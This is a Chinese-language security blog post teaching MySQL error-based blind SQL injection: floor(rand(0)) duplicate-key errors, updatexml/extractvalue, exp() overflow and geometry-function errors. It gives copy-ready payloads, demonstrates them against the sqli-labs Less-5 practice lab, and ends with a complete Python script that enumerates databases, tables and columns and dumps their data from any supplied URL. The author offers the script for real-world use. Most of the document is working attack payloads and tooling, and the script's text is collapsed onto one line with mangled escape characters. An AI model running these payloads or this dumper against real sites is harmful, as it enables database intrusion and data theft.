sql盲注之报错注入(附自动化脚本)

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所属分类:安全
摘要

作者:__LSA__
0×01 报错注入原理
其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新。

作者:__LSA__

0×01 报错注入原理
其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新。

1. Duplicate entry报错:

一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。

关键是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1,下面以rand(0)简述原理:

首先看看接下来会用到的几个函数

Count()计算总数

Concat()连接字符串

Floor()向下取整数

Rand()产生0~1的随机数

rand(0)序列是011011

1.png

1. 查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。

2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。

3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。

由上述可得,表中必须存在大于等于3条记录才会产生报错,实测也如此。

一些报错查询语句(相当于套公式):

假设字段数是3

经典语句:

union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+

version()可以替换为需要查询的信息。

简化语句:

union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+

2.png

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

Sqli-labs less5测试:

1. 获取库名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

3.png

2.获取表名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

5.png

3. 获取列名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

5.png

4. 爆数据:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

6.png

2. Xpath报错:

主要的两个函数:

Mysql5.1.5

1. updatexml():对xml进行查询和修改

2. extractvalue():对xml进行查询和修改

都是最大爆32位。

and updatexml(1,concat(0×26,(version()),0×26),1);

and (extractvalue(1,concat(0×26,(version()),0×26)));

Sqli-lab less5测试:

Updatexml():

192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0×26,database(),0×26),1);–+

7.png

Extractvalue():

192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0×26,database(),0×26));–+

8.png

3. 整形溢出报错:

Mysql>5.5.5

主要函数:

exp(x):计算e的x次方

Payload: and (EXP(~(select * from(select version())a)));

Exp()超过710会产生溢出。

将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。

9.png

4. 数据重复报错:

Mysql低版本

payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

5. 其余报错:

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select * from(select * from(select user())a)b))


0×02 报错注入脚本
依据sqli-lab less-5写的自动化注入脚本,实战再根据具体情况修改即可,盲注还是写脚本方便点。

(建议在linux下使用,win下的cmd无法使用termcolor,win下可注释并修改print即可,有颜色还是挺酷的!)

#coding:utf-8 #Author:LSA #Description:blind sqli error base script #Date:20171222       import sys import requests import re import binascii from termcolor import * import optparse   fdata = []   def judge_columns_num(url):                   for i in range(1,100):                 columns_num_url = url + '/'' + 'order by ' + str(i) + '--+'                 rsp = requests.get(columns_num_url)                 rsp_content_length = rsp.headers['content-length']                 if i==1:                         rsp_true_content_length = rsp_content_length                         continue                 if rsp_content_length == rsp_true_content_length:                         continue                 else:                         print (colored('column nums is ' + str(i-1),"green",attrs=["bold"]))                         columns_num = i                         break     def getDatabases(url):           dbs_url = url +  "' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+"             dbs_html = requests.get(dbs_url).content             dbs_num = int(re.search(r'/'(/d*?)&',dbs_html).group(1))             print "databases num:" + colored(dbs_num,"green",attrs=["bold"])             dbs = []             print ("dbs name: ")             for dbIndex in xrange(0,dbs_num):                 db_name_url = url + "' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % dbIndex                 db_html = requests.get(db_name_url).content                 db_name = re.search(r'/'(.*?)&', db_html).group(1)                 dbs.append(db_name)                 print (colored("/t%s" % db_name,"green",attrs=["bold"]))       def getTables(url, db_name):             #db_name_hex = "0x" + binascii.b2a_hex(db_name)             tables_num_url = url + "' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % db_name             tables_html = requests.get(tables_num_url).content             tables_num = int(re.search(r'/'(/d*?)&',tables_html).group(1))             print ("databases %s,tables num: %d" % (db_name, tables_num))             print ("tables name: ")             for tableIndex in xrange(0,tables_num):                 table_name_url = url + "'union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name, tableIndex)                         table_html = requests.get(table_name_url).content                 table_name = re.search(r'/'(.*?)&',table_html).group(1)                 print (colored("/t%s" % table_name,"green",attrs=["bold"]))       def getColumns(url,db_name,table_name):                       #db_name_hex = "0x" + binascii.b2a_hex(db_name)             #table_name_hex = "0x" + binascii.b2a_hex(table_name)             dataColumns_num_url = url + "' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)             dataColumns_html = requests.get(dataColumns_num_url).content         dataColumns_num = int(re.search(r'/'(/d*?)&',dataColumns_html).group(1))             print ("table: %s,dataColumns num: %d" % (table_name, dataColumns_num))             print ("DataColumns name:")             for dataColumnIndex in xrange(0,dataColumns_num):                 dataColumn_name_url = url + "' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name,dataColumnIndex)                 dataColumn_html = requests.get(dataColumn_name_url).content                 dataColumn_name = re.search(r'/'(.*?)&',dataColumn_html).group(1)                 print (colored("/t/t%s" % dataColumn_name,"green",attrs=["bold"]))         def dumpData(url,db_name,table_name,inputColumns_name):                       #db_name_hex = "0x" + binascii.b2a_hex(db_name)             #table_name_hex = "0x" + binascii.b2a_hex(table_name)           dataColumns_num_url = url + "' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)             data_html = requests.get(dataColumns_num_url).content             datas = int(re.search(r'/'(/d*?)&',data_html).group(1))                     inputColumns = inputColumns_name.split(',')           print (colored("Total datas: " + str(datas),"green",attrs=["bold"]))         print str(inputColumns_name) + ":"                       for inputColumnIndex in xrange(0,len(inputColumns)):                                                     for dataIndex in xrange(0,datas):                                               dataColumn_name_url = url + "' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)                             data_html = requests.get(dataColumn_name_url).content                             data = re.search(r'/'(.*?)&',data_html).group(1)                         fdata.append(data)                             print (colored("/t%s" % data,"green",attrs=["bold"]))         for inputc in range(0,len(inputColumns)):                 print str(inputColumns[inputc]) + "/t",         print ""         print "+++++++++++++++++++++++++++++++++++++++++++++++++"         n = len(fdata) / len(inputColumns)         for t in range(0,n):                 for d in range(t,len(fdata),n):                         print colored(fdata[d],"green",attrs=["bold"]) + "/t",                 print ""         print "+++++++++++++++++++++++++++++++++++++++++++++++++"                                                                                         def main():                       parser = optparse.OptionParser('python %prog '+/                  '-h <manual>')             parser.add_option('-u', dest='tgtUrl', type='string',/                  help='input target url')             parser.add_option('--dbs', dest='dbs', action='store_true', help='get dbs')         parser.add_option('--tables', dest='tables', action='store_true',/            help='get tables')         parser.add_option('--columns', dest='columns', action='store_true',/            help='get columns')               parser.add_option('-D', dest='db', type='string', help='choose a db')         parser.add_option('-T', dest='table', type='string',/            help='choose a table')         parser.add_option('-C', dest='column', type='string',/            help='choose column(s)')         parser.add_option('--dump', dest='data', action='store_true',/            help='get datas')                   (options, args) = parser.parse_args()                   url = options.tgtUrl         dbs = options.dbs         tables = options.tables         columns = options.columns         db = options.db         table = options.table         column = options.column         datas = options.data                             if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None):                 judge_columns_num(url)                     if url and dbs:                 getDatabases(url)         if url and db and tables:                 getTables(url,db)         if url and db and table and columns:                 getColumns(url,db,table)         if url and db and table and column and datas:                 dumpData(url,db,table,column)                                                 if __name__ == '__main__':     main()


如不想切换转义字符可到本人博客复制代码:www.lsablog.com/network_security/penetration/error-based-blind-sqli/

效果图:

10.png

11.png

0×03 结语
Exp报错和其余报错没测试成功,不知为何,先这样吧。(o(∩∩)o…哈哈不知道有多少人能看到这里,回贴送币!)。

0×04 参考资料
blog.csdn.net/qq_35544379/article/details/77453019

https://bugs.mysql.com/bug.php?id=8652

whc.dropsec.xyz/2017/04/16/SQL报错注入总结/

blog.51cto.com/wt7315/1891458

https://www.msfcode.com/2016/10/11/【sql注入】mysql十种报错注入方式/

www.am0s.com/penetration/138.html

www.jianfensec.com/19.html

www.freebuf.com/articles/web/30841.html

https://www.cnblogs.com/lcamry/articles/5509124.html



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